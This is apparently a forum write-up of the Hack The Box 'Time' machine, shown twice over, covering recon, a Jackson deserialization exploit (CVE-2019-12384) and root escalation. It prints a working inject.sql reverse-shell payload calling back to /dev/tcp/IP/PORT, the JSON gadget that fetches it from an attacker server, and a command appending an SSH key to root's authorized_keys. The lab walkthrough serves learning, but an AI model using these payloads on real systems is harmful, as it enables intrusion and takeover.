October 28, 2020 at 02:52 AM
Box: Time
OS: Medium
Difficulty: Medium
User
So let's start off with some recon. I like to use new tools so rustscan it is:
We see two ports that are open: 80 and 22.
I ran feroxbuster (another newish tool) on port 80 but nothing interesting popped up. Let's check out the website.
We see an online json beautifier with two options: "Beautify" or "Validate!(Beta)". Beta features are always fun. Anyway, I intercepted both options in burp and just put the word "test" in the field and submitted.
When you use an invalid option with the second option, you get an error:
The
Now, people have been complaining that this is an easy box, which it is, since you can use an exploit someone else wrote on github (https://github.com/jas502n/CVE-2019-12384), but I banged my head for a minute trying to understand the exploit and to get the correct syntax. HTB is about learning, so I wanted to share my thought process...
As you begin to research the error, you'll find out that there are insecure Jackson libraries that contain a deserialization vulnerability. Like any good researcher, you fuck around a bit with it and see what happens. When you submit a request on the site that is you get an error stating:
...alright, the hell does that mean? Means more googling.
I came across this stackoverflow thread (cause it has all the answers) that basically states that the application expects a JSON Array. Apparently, that means using square brackets '[]' instead of curly braces '{}'. Now we send the same request as before, but instead of curly braces, we use square brackets.
aaaaaand we get a different error!
#progress
Now the program says "Could not resolve type id 'test', no class found". More googling...
This is where the deserialization comes in. You need to find the right class for the application to accept. This is where CVE-2019-12384 comes in. Now that we understand how to construct a correct payload, we can abuse it for a shell. Looking over the github, we see that we are using this class:
So now all we gotta do is host the "inject.sql" on our webserver, modify the "inject.sql" to execute the code we want (rev shell of course), and to send the application the payload it expects. Breakdown below
Not gonna lie, this is stupid easy and why this box has been getting some flak. You run linpeas (or favorite enumeration script) and see that root has been accessing this file: "/usr/bin/timer_backup.sh". Which is owned by your user and writeable.
- iamashell
PS: I've done Dante and if there is enough interest, I can do writeups on all the machines along with the flags.
OS: Medium
Difficulty: Medium
User
So let's start off with some recon. I like to use new tools so rustscan it is:
rustscan 10.10.10.214
We see two ports that are open: 80 and 22.
I ran feroxbuster (another newish tool) on port 80 but nothing interesting popped up. Let's check out the website.
We see an online json beautifier with two options: "Beautify" or "Validate!(Beta)". Beta features are always fun. Anyway, I intercepted both options in burp and just put the word "test" in the field and submitted.
When you use an invalid option with the second option, you get an error:
Quote:Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
The
com.fasterxml.jackson.core
looks interesting. Doing a quick google search reveals that there are a few RCEs for this library. The most recent being 2019.Now, people have been complaining that this is an easy box, which it is, since you can use an exploit someone else wrote on github (https://github.com/jas502n/CVE-2019-12384), but I banged my head for a minute trying to understand the exploit and to get the correct syntax. HTB is about learning, so I wanted to share my thought process...
As you begin to research the error, you'll find out that there are insecure Jackson libraries that contain a deserialization vulnerability. Like any good researcher, you fuck around a bit with it and see what happens. When you submit a request on the site that is
{"test"}
Quote:Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
...alright, the hell does that mean? Means more googling.
I came across this stackoverflow thread (cause it has all the answers) that basically states that the application expects a JSON Array. Apparently, that means using square brackets '[]' instead of curly braces '{}'. Now we send the same request as before, but instead of curly braces, we use square brackets.
aaaaaand we get a different error!
Quote:Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'test' as a subtype of [simple type, class java.lang.Object]: no such class found
#progress
Now the program says "Could not resolve type id 'test', no class found". More googling...
This is where the deserialization comes in. You need to find the right class for the application to accept. This is where CVE-2019-12384 comes in. Now that we understand how to construct a correct payload, we can abuse it for a shell. Looking over the github, we see that we are using this class:
ch.qos.logback.core.db.DriverManagerConnectionSource
.So now all we gotta do is host the "inject.sql" on our webserver, modify the "inject.sql" to execute the code we want (rev shell of course), and to send the application the payload it expects. Breakdown below
- Setup your http server to host the malicious content. There's a python script called 'updog' (pip3 install updog) that I like to use. It's quicker than the stupid
python3 -m http.server
. Fuck typing
- Create file 'inject.sql' to host on your http server and insert the following code into it:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/IP/PORT 0>&1 &') - Replace the IP and PORT above with your HTB IP and netcat listener port
- Start your netcat listener
- On the website application, select "Validate (beta!)" and input this:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://IP:PORT/inject.sql'"}]
- Replace IP with your HTB IP, and PORT with your server port (updog uses 9090)
- Submit and you should get a shell.
Not gonna lie, this is stupid easy and why this box has been getting some flak. You run linpeas (or favorite enumeration script) and see that root has been accessing this file: "/usr/bin/timer_backup.sh". Which is owned by your user and writeable.
- In your shell, do the command below, but replace SSH_PUB_KEY with your ssh public key (normally /home/$USER/.ssh/id_rsa.pub)
echo "echo SSH_PUB_KEY >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh
- now SSH in as using and enjoy your r00t shell
ssh -i ~/.ssh/id_rsa [email protected]
- iamashell
PS: I've done Dante and if there is enough interest, I can do writeups on all the machines along with the flags.